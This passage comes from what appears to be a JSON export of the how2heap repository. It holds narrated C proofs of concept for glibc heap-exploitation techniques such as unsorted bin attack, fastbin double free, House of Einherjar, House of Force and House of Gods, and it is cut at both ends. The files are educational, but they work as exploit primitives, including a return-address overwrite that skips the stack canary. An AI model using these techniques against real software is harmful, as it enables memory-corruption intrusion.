'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n\n"
  },
  {
    "path": "glibc_2.23/unsorted_bin_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main(){\n\tfprintf(stderr, \"This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n\");\n\tfprintf(stderr, \"In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the \"\n\t\t   \"global variable global_max_fast in libc for further fastbin attack\\n\\n\");\n\n\tunsigned long stack_var=0;\n\tfprintf(stderr, \"Let's first look at the target we want to rewrite on stack:\\n\");\n\tfprintf(stderr, \"%p: %ld\\n\\n\", &stack_var, stack_var);\n\n\tunsigned long *p=malloc(400);\n\tfprintf(stderr, \"Now, we allocate first normal chunk on the heap at: %p\\n\",p);\n\tfprintf(stderr, \"And allocate another normal chunk in order to avoid consolidating the top chunk with\"\n           \"the first one during the free()\\n\\n\");\n\tmalloc(500);\n\n\tfree(p);\n\tfprintf(stderr, \"We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer \"\n\t\t   \"point to %p\\n\",(void*)p[1]);\n\n\t//------------VULNERABILITY-----------\n\n\tp[1]=(unsigned long)(&stack_var-2);\n\tfprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\tfprintf(stderr, \"And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n\",(void*)p[1]);\n\n\t//------------------------------------\n\n\tmalloc(400);\n\tfprintf(stderr, \"Let's malloc again to get the chunk we just free. During this time, the target should have already been \"\n\t\t   \"rewritten:\\n\");\n\tfprintf(stderr, \"%p: %p\\n\", &stack_var, (void*)stack_var);\n}\n"
  },
  {
    "path": "glibc_2.23/unsorted_bin_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <assert.h>\n\nvoid jackpot(){ printf(\"Nice jump d00d\\n\"); exit(0); }\n\nint main() {\n\tintptr_t stack_buffer[4] = {0};\n\n\tprintf(\"Allocating the victim chunk\\n\");\n\tintptr_t* victim = malloc(0x100);\n\n\tprintf(\"Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\\n\");\n\tintptr_t* p1 = malloc(0x100);\n\n\tprintf(\"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n\tfree(victim);\n\n\tprintf(\"Create a fake chunk on the stack\");\n\tprintf(\"Set size for next allocation and the bk pointer to any writable address\");\n\tstack_buffer[1] = 0x100 + 0x10;\n\tstack_buffer[3] = (intptr_t)stack_buffer;\n\n\t//------------VULNERABILITY-----------\n\tprintf(\"Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\\n\");\n\tprintf(\"Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\\n\");\n\tvictim[-1] = 32;\n\tvictim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack\n\t//------------------------------------\n\n\tprintf(\"Now next malloc will return the region of our fake chunk: %p\\n\", &stack_buffer[2]);\n\tchar *p2 = malloc(0x100);\n\tprintf(\"malloc(0x100): %p\\n\", p2);\n\n\tintptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\tmemcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n\tassert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.24/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = malloc(8);\n\tint *b = malloc(8);\n\tint *c = malloc(8);\n\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", b);\n\tfprintf(stderr, \"3rd malloc(8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = malloc(8);\n\tb = malloc(8);\n\tc = malloc(8);\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", b);\n\tfprintf(stderr, \"3rd malloc(8): %p\\n\", c);\n\n\tassert(a == c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.24/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized).\n\n*/\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a UAF / duplication of a large-sized chunk\\n\");\n\n\tvoid* p1 = calloc(1,0x40);\n\n\tprintf(\"Allocate a fastbin chunk p1=%p \\n\", p1);\n  \tprintf(\"Freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n  \tvoid* p3 = malloc(0x400);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a chunk with chunk size 0x410. p3=%p\\n\", p3);\n\n\tprintf(\"\\nmalloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"p3 is allocated from top since there is no bin bigger than it. Thus, p1 = p3.\\n\");\n\n\tassert(p1 == p3);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p3).\\n\\n\");\n\tfree(p1); // vulnerability\n\n\tprintf(\"So p1 is double freed, and p3 hasn't been freed although it now points to the top, as our\\n\");\n\tprintf(\"chunk got consolidated with it. We have thus achieved UAF!\\n\");\n\n\tprintf(\"We will request a chunk of size 0x400, this will give us a 0x410 chunk from the top\\n\");\n\tprintf(\"p3 and p1 will still be pointing to it.\\n\");\n\tvoid *p4 = malloc(0x400);\n\n\tassert(p4 == p3);\n\n\tprintf(\"We now have two pointers (p3 and p4) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same large-sized chunk. p3=%p p4=%p\\n\", p3, p4);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.24/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking malloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\tunsigned long long stack_var;\n\n\tfprintf(stderr, \"The address we want malloc() to return is %p.\\n\", 8+(char *)&stack_var);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = malloc(8);\n\tint *b = malloc(8);\n\tint *c = malloc(8);\n\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", a);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", b);\n\tfprintf(stderr, \"3rd malloc(8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\");\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long long *d = malloc(8);\n\n\tfprintf(stderr, \"1st malloc(8): %p\\n\", d);\n\tfprintf(stderr, \"2nd malloc(8): %p\\n\", malloc(8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that malloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\t*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));\n\n\tfprintf(stderr, \"3rd malloc(8): %p, putting the stack address on the free list\\n\", malloc(8));\n\tfprintf(stderr, \"4th malloc(8): %p\\n\", malloc(8));\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\n/*\n   Credit to st4g3r for publishing this technique\n   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()\n   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak. \n*/\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar!\\n\");\n\tprintf(\"Tested in Ubuntu 16.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tuint8_t* a;\n\tuint8_t* b;\n\tuint8_t* d;\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a'\\n\");\n\ta = (uint8_t*) malloc(0x38);\n\tprintf(\"a: %p\\n\", a);\n\t\n\tint real_a_size = malloc_usable_size(a);\n\tprintf(\"Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\\n\", real_a_size);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\\n\");\n\tprintf(\"However, you can also create the chunk in the heap or the bss, as long as you know its address\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\tprintf(\"(although we could do the unsafe unlink technique here in some scenarios)\\n\");\n\n\tsize_t fake_chunk[6];\n\n\tfake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check\n\tfake_chunk[1] = 0x00; // Arbitrary value; fake_chunk->size is ignored during backward consolidation.\n\tfake_chunk[2] = (size_t) fake_chunk; // fwd\n\tfake_chunk[3] = (size_t) fake_chunk; // bck\n\tfake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize\n\tfake_chunk[5] = (size_t) fake_chunk; //bck_nextsize\n\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", fake_chunk);\n\tprintf(\"prev_size (not used): %#lx\\n\", fake_chunk[0]);\n\tprintf(\"size: %#lx\\n\", fake_chunk[1]);\n\tprintf(\"fwd: %#lx\\n\", fake_chunk[2]);\n\tprintf(\"bck: %#lx\\n\", fake_chunk[3]);\n\tprintf(\"fwd_nextsize: %#lx\\n\", fake_chunk[4]);\n\tprintf(\"bck_nextsize: %#lx\\n\", fake_chunk[5]);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tb = (uint8_t*) malloc(0xf8);\n\tint real_b_size = malloc_usable_size(b);\n\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'b'.\\n\");\n\tprintf(\"b: %p\\n\", b);\n\n\tuint64_t* b_size_ptr = (uint64_t*)(b - 8);\n\t/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/\n\n\tprintf(\"\\nb.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"b.size is: (0x100) | prev_inuse = 0x101\\n\");\n\tprintf(\"We overflow 'a' with a single null byte into the metadata of 'b'\\n\");\n\ta[real_a_size] = 0; \n\tprintf(\"b.size: %#lx\\n\", *b_size_ptr);\n\tprintf(\"This is easiest if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\tprintf(\"If it had been modified, we would need a fake chunk inside \"\n\t\t   \"b where it will try to consolidate the next chunk\\n\");\n\n\t// Write a fake prev_size to the end of a\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of a so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", b-sizeof(size_t)*2, fake_chunk, fake_size);\n\t*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;\n\n\t//Change the fake chunk's size to reflect b's new prev_size\n\tprintf(\"\\nModify fake chunk's size to reflect b's new prev_size\\n\");\n\tfake_chunk[1] = fake_size;\n\n\t// free b and it will consolidate with our fake chunk\n\tprintf(\"Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\\n\");\n\tfree(b);\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", fake_chunk[1]);\n\n\t//if we allocate another chunk before we free b we will need to \n\t//do two things: \n\t//1) We will need to adjust the size of our fake chunk so that\n\t//fake_chunk + fake_chunk's size points to an area we control\n\t//2) we will need to write the size of our fake chunk\n\t//at the location we control. \n\t//After doing these two things, when unlink gets called, our fake chunk will\n\t//pass the size(P) == prev_size(next_chunk(P)) test. \n\t//otherwise we need to make sure that our fake chunk is up against the\n\t//wilderness\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\td = malloc(0x200);\n\tprintf(\"Next malloc(0x200) is at %p\\n\", d);\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_force.c",
    "content": "/*\n\n   This PoC works also with ASLR enabled.\n   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.\n   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum \n   ( http://phrack.org/issues/66/10.html )\n\n   Tested in Ubuntu 14.04, 64bit, Ubuntu 18.04\n\n*/\n\n\n#include <stdio.h>\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nchar bss_var[] = \"This is a string that we want to overwrite.\";\n\nint main(int argc , char* argv[])\n{\n\tfprintf(stderr, \"\\nWelcome to the House of Force\\n\\n\");\n\tfprintf(stderr, \"The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\\n\");\n\tfprintf(stderr, \"The top chunk is a special chunk. Is the last in memory \"\n\t\t\"and is the chunk that will be resized when malloc asks for more space from the os.\\n\");\n\n\tfprintf(stderr, \"\\nIn the end, we will use this to overwrite a variable at %p.\\n\", bss_var);\n\tfprintf(stderr, \"Its current value is: %s\\n\", bss_var);\n\n\n\n\tfprintf(stderr, \"\\nLet's allocate the first chunk, taking space from the wilderness.\\n\");\n\tintptr_t *p1 = malloc(256);\n\tfprintf(stderr, \"The chunk of 256 bytes has been allocated at %p.\\n\", p1 - 2);\n\n\tfprintf(stderr, \"\\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\\n\");\n\tint real_size = malloc_usable_size(p1);\n\tfprintf(stderr, \"Real size (aligned and all that jazz) of our allocated chunk is %ld.\\n\", real_size + sizeof(long)*2);\n\n\tfprintf(stderr, \"\\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\\n\");\n\n\t//----- VULNERABILITY ----\n\tintptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));\n\tfprintf(stderr, \"\\nThe top chunk starts at %p\\n\", ptr_top);\n\n\tfprintf(stderr, \"\\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\\n\");\n\tfprintf(stderr, \"Old size of top chunk %#llx\\n\", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));\n\t*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;\n\tfprintf(stderr, \"New size of top chunk %#llx\\n\", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));\n\t//------------------------\n\n\tfprintf(stderr, \"\\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\\n\"\n\t   \"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\\n\"\n\t   \"overflow) and will then be able to allocate a chunk right over the desired region.\\n\");\n\n\t/*\n\t * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):\n\t * new_top = old_top + nb\n\t * nb = new_top - old_top\n\t * req + 2sizeof(long) = new_top - old_top\n\t * req = new_top - old_top - 2sizeof(long)\n\t * req = dest - 2sizeof(long) - old_top - 2sizeof(long)\n\t * req = dest - old_top - 4*sizeof(long)\n\t */\n\tunsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;\n\tfprintf(stderr, \"\\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\\n\"\n\t   \"we will malloc %#lx bytes.\\n\", bss_var, ptr_top, evil_size);\n\tvoid *new_ptr = malloc(evil_size);\n\tfprintf(stderr, \"As expected, the new pointer is at the same place as the old top chunk: %p\\n\", new_ptr - sizeof(long)*2);\n\n\tvoid* ctr_chunk = malloc(100);\n\tfprintf(stderr, \"\\nNow, the next chunk we overwrite will point at our target buffer.\\n\");\n\tfprintf(stderr, \"malloc(100) => %p!\\n\", ctr_chunk);\n\tfprintf(stderr, \"Now, we can finally overwrite that value:\\n\");\n\n\tfprintf(stderr, \"... old string: %s\\n\", bss_var);\n\tfprintf(stderr, \"... doing strcpy overwrite with \\\"YEAH!!!\\\"...\\n\");\n\tstrcpy(ctr_chunk, \"YEAH!!!\");\n\tfprintf(stderr, \"... new string: %s\\n\", bss_var);\n\n\tassert(ctr_chunk == bss_var);\n\n\n\t// some further discussion:\n\t//fprintf(stderr, \"This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\\n\\n\");\n\t//fprintf(stderr, \"This because the main_arena->top pointer is setted to current av->top + malloc_size \"\n\t//\t\"and we \\nwant to set this result to the address of malloc_got_address-8\\n\\n\");\n\t//fprintf(stderr, \"In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\\n\\n\");\n\t//fprintf(stderr, \"The av->top after this big malloc will be setted in this way to malloc_got_address-8\\n\\n\");\n\t//fprintf(stderr, \"After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),\"\n\t//\t\"\\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\\n\\n\");\n\n\t//fprintf(stderr, \"The large chunk with evil_size has been allocated here 0x%08x\\n\",p2);\n\t//fprintf(stderr, \"The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\\n\",malloc_got_address);\n\n\t//fprintf(stderr, \"This last malloc will be served from the remainder code and will return the av->top+8 injected before\\n\");\n}\n"
  },
  {
    "path": "glibc_2.24/house_of_gods.c",
    "content": "/* House of Gods PoC */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include <inttypes.h>\n\n/*\n * Welcome to the House of Gods...\n *\n * House of Gods is an arena hijacking technique for glibc < 2.27. It supplies\n * the attacker with an arbitrary write against the thread_arena symbol of\n * the main thread. This can be used to replace the main_arena with a\n * carefully crafted fake arena. The exploit was tested against\n *\n *     - glibc-2.23\n *     - glibc-2.24\n *     - glibc-2.25\n *     - glibc-2.26\n *\n * Following requirements are mandatory\n *\n *     - 8 allocs of arbitrary size to hijack the arena (+2 for ACE)\n *     - control over first 5 quadwords of a chunk's userdata\n *     - a single write-after-free bug on an unsorted chunk\n *     - heap address leak + libc address leak\n *\n * This PoC demonstrates how to leverage the House of Gods in order to hijack\n * the thread_arena. But it wont explain how to escalate further to\n * arbitrary code execution, since this step is trivial once the whole arena\n * is under control.\n *\n * Also note, that the how2heap PoC might use more allocations than\n * previously stated. This is intentional and has educational purposes.\n *\n * If you want to read the full technical description of this technique, going\n * from zero to arbitrary code execution within only 10 to 11 allocations, here\n * is the original document I've written\n *\n *     https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT\n *\n * I recommend reading this document while experimenting with\n * the how2heap PoC.\n *\n * Besides that, this technique abuses a minor bug in glibc, which I have\n * already submitted to bugzilla at\n *\n *     https://sourceware.org/bugzilla/show_bug.cgi?id=29709\n *\n * AUTHOR: David Milosevic (milo)\n *\n * */\n\n/* <--- Exploit PoC ---> */\n\nint main(void) {\n\n    printf(\"=================\\n\");\n    printf(\"= House of Gods =\\n\");\n    printf(\"=================\\n\\n\");\n\n    printf(\"=== Abstract ===\\n\\n\");\n\n    printf(\"The core of this technique is to allocate a fakechunk overlapping\\n\");\n    printf(\"the binmap field within the main_arena. This fakechunk is located at\\n\");\n    printf(\"offset 0x850. Its sizefield can be crafted by carefully binning chunks\\n\");\n    printf(\"into smallbins or largebins. The binmap-chunk is then being linked into\\n\");\n    printf(\"the unsorted bin via a write-after-free bug in order to allocate it back\\n\");\n    printf(\"as an exact fit. One can now tamper with the main_arena.next pointer at\\n\");\n    printf(\"offset 0x868 and inject the address of a fake arena. A final unsorted bin\\n\");\n    printf(\"attack corrupts the narenas variable with a very large value. From there, only\\n\");\n    printf(\"two more allocation requests for at least 0xffffffffffffffc0 bytes of memory\\n\");\n    printf(\"are needed to trigger two consecutive calls to the reused_arena() function,\\n\");\n    printf(\"which in turn traverses the corrupted arena-list and sets thread_arena to the\\n\");\n    printf(\"address stored in main_arena.next - the address of the fake arena.\\n\\n\");\n\n    printf(\"=== PoC ===\\n\\n\");\n\n    printf(\"Okay, so let us start by allocating some chunks...\\n\\n\");\n\n    /*\n     * allocate a smallchunk, for example a 0x90-chunk.\n     * */\n    void *SMALLCHUNK = malloc(0x88);\n\n    /*\n     * allocate the first fastchunk. We will use\n     * a 0x20-chunk for this purpose.\n     * */\n    void *FAST20 = malloc(0x18);\n\n    /*\n     * allocate a second fastchunk. This time\n     * a 0x40-chunk.\n     * */\n    void *FAST40 = malloc(0x38);\n\n    printf(\"%p is our 0x90-sized smallchunk. We will bin this chunk to forge a\\n\", SMALLCHUNK);\n    printf(\"fake sizefield for our binmap-chunk.\\n\\n\");\n\n    printf(\"%p is our first fastchunk. Its size is 0x20.\\n\\n\", FAST20);\n\n    printf(\"%p is our second fastchunk with a size of 0x40. The usecase of\\n\", FAST40);\n    printf(\"both fastchunks will be explained later in this PoC.\\n\\n\");\n\n    printf(\"We can move our smallchunk to the unsorted bin by simply free'ing it...\\n\\n\");\n\n    /*\n     * put SMALLCHUNK into the unsorted bin.\n     * */\n    free(SMALLCHUNK);\n\n    /*\n     * this is a great opportunity to simulate a\n     * libc leak. We just read the address of the\n     * unsorted bin and save it for later.\n     * */\n    const uint64_t leak = *((uint64_t*) SMALLCHUNK);\n\n    printf(\"And now we need to make a request for a chunk which can not be serviced by\\n\");\n    printf(\"our recently free'd smallchunk. Thus, we will make a request for a\\n\");\n    printf(\"0xa0-sized chunk - let us call this chunk INTM (intermediate).\\n\\n\");\n\n    /*\n     * following allocation will trigger a binning\n     * process within the unsorted bin and move\n     * SMALLCHUNK to the 0x90-smallbin.\n     * */\n    void *INTM = malloc(0x98);\n\n    printf(\"Our smallchunk should be now in the 0x90-smallbin. This process also triggered\\n\");\n    printf(\"the mark_bin(m, i) macro within the malloc source code. If you inspect the\\n\");\n    printf(\"main_arena's binmap located at offset 0x855, you will notice that the initial\\n\");\n    printf(\"value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\\n\");\n    printf(\"sizefield to bypass the unsorted bin checks.\\n\\n\");\n\n    printf(\"We would also need a valid bk pointer in order to bypass the partial unlinking\\n\");\n    printf(\"procedure within the unsorted bin. But luckily, the main_arena.next pointer at\\n\");\n    printf(\"offset 0x868 points initially to the start of the main_arena itself. This fact\\n\");\n    printf(\"makes it possible to pass the partial unlinking without segfaulting.\\n\\n\");\n\n    printf(\"So now that we have crafted our binmap-chunk, it is time to allocate it\\n\");\n    printf(\"from the unsorted bin. For that, we will abuse a write-after-free bug\\n\");\n    printf(\"on an unsorted chunk. Let us start...\\n\\n\");\n\n    printf(\"First, allocate another smallchunk...\\n\");\n\n    /*\n     * recycle our previously binned smallchunk.\n     * Note that, it is not neccessary to recycle this\n     * chunk. I am doing it only to keep the heap layout\n     * small and compact.\n     * */\n    SMALLCHUNK = malloc(0x88);\n\n    printf(\"...and now move our new chunk to the unsorted bin...\\n\");\n\n    /*\n     * put SMALLCHUNK into the unsorted bin.\n     * */\n    free(SMALLCHUNK);\n\n    printf(\"...in order to tamper with the free'd chunk's bk pointer.\\n\\n\");\n\n    /*\n     * bug: a single write-after-free bug on an\n     * unsorted chunk is enough to initiate the\n     * House of Gods technique.\n     * */\n    *((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;\n\n    printf(\"Great. We have redirected the unsorted bin to our binmap-chunk.\\n\");\n    printf(\"But we also have corrupted the bin. Let's fix this, by redirecting\\n\");\n    printf(\"a second time.\\n\\n\");\n\n    printf(\"The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\\n\");\n    printf(\"of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\\n\");\n    printf(\"in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\\n\");\n    printf(\"point to another allocated chunk (INTM) by writing to its bk pointer before\\n\");\n    printf(\"actually free'ing it.\\n\\n\");\n\n    /*\n     * before free'ing those chunks, let us write\n     * the address of another chunk to the currently\n     * unused bk pointer of FAST40. We can reuse\n     * the previously requested INTM chunk for that.\n     *\n     * Free'ing FAST40 wont reset the bk pointer, thus\n     * we can let it point to an allocated chunk while\n     * having it stored in one of the fastbins.\n     *\n     * The reason behind this, is the simple fact that\n     * we will need to perform an unsorted bin attack later.\n     * And we can not request a 0x40-chunk to trigger the\n     * partial unlinking, since a 0x40 request will be serviced\n     * from the fastbins instead of the unsorted bin.\n     * */\n    *((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);\n\n    /*\n     * and now free the 0x20-chunk in order to forge a sizefield.\n     * */\n    free(FAST20);\n\n    /*\n     * and the 0x40-chunk in order to forge a bk pointer.\n     * */\n    free(FAST40);\n\n    printf(\"Okay. The unsorted bin should now look like this\\n\\n\");\n\n    printf(\"head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\\n\");\n    printf(\"     bk            bk        bk            bk        bk\\n\\n\");\n\n    printf(\"The binmap attack is nearly done. The only thing left to do, is\\n\");\n    printf(\"to make a request for a size that matches the binmap-chunk's sizefield.\\n\\n\");\n\n    /*\n     * all the hard work finally pays off...we can\n     * now allocate the 